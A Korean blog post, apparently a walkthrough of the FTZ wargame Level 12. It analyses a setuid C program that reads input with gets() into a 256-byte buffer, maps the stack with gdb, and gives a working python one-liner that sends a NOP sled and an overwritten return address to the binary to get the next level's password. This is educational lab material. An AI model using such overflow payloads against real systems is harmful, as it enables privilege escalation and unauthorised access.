Information Security

[FTZ] Level 12 본문

INTERLUDE/System Hacking

[FTZ] Level 12

sohexz 2021. 11. 23. 20:18

level 11처럼 attackme가 포함되어 있다

 

hint를 열어보니 코드가 적혀 있다

코드에 대해 분석해보자

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main( void )
{
        char str[256];

        setreuid( 3093, 3093 );
        printf( "문장을 입력하세요.\n" );
        gets( str );
        printf( "%s\n", str );
}

 

gets를 통해 str을 받아 출력하는 코드라고 해석할 수 있다 

 

gdb를 사용하여 attackme를 분석해보자

 

49번을 보면 ebp-264부터 입력을 받는 것을 알 수 있다

 

낮은 주소

 

str[256]

dummy[8]

SFP[4]

RET[4]

 

높은 주소

 

level11가 같은 스택 구조임을 알 수 있다

 

환경변수를 사용해 문제를 풀어보자!

 

https://devpouch.tistory.com/125

 

[linux] 환경변수 설정, 확인 및 해제 명령어

리눅스 환경변수를 적용하기 위해서는 크게 일시적으로 적용하는 방법과 영구적으로 적용하는 방법으로 나뉜다. 아래 내용은 bash 쉘 기준으로 작성되었다. 리눅스 환경변수 일시 적용 $ export 환

devpouch.tistory.com

 

 

tmp로 이동하여  환경변수를 설정해주고 리턴주소를 알아내는 getenv.c을 만들어준다

getenv.c를 getenv로 컴파일해준 후 실행시키자

 

0xbffffc8c 을 리턴주소로 잡고 bof를 해준다

입력을 gets로 받기 때문에 다른 방법으로 실행시켜줘야 한다

 

(python -c 'print"\x90"*268+"\x8c\xfc\xff\xbf"'; cat) | ./attackme

 

level13 비밀번호 획득 성공!

 

'INTERLUDE > System Hacking' 카테고리의 다른 글

[Dreamhack] basic_exploitation_000  (1) 2022.09.22
BOF 스터디  (0) 2022.09.20
[FTZ] Level 11  (0) 2021.11.18
[FTZ] Level 10  (0) 2021.11.11
[FTZ] Level 9  (0) 2021.11.09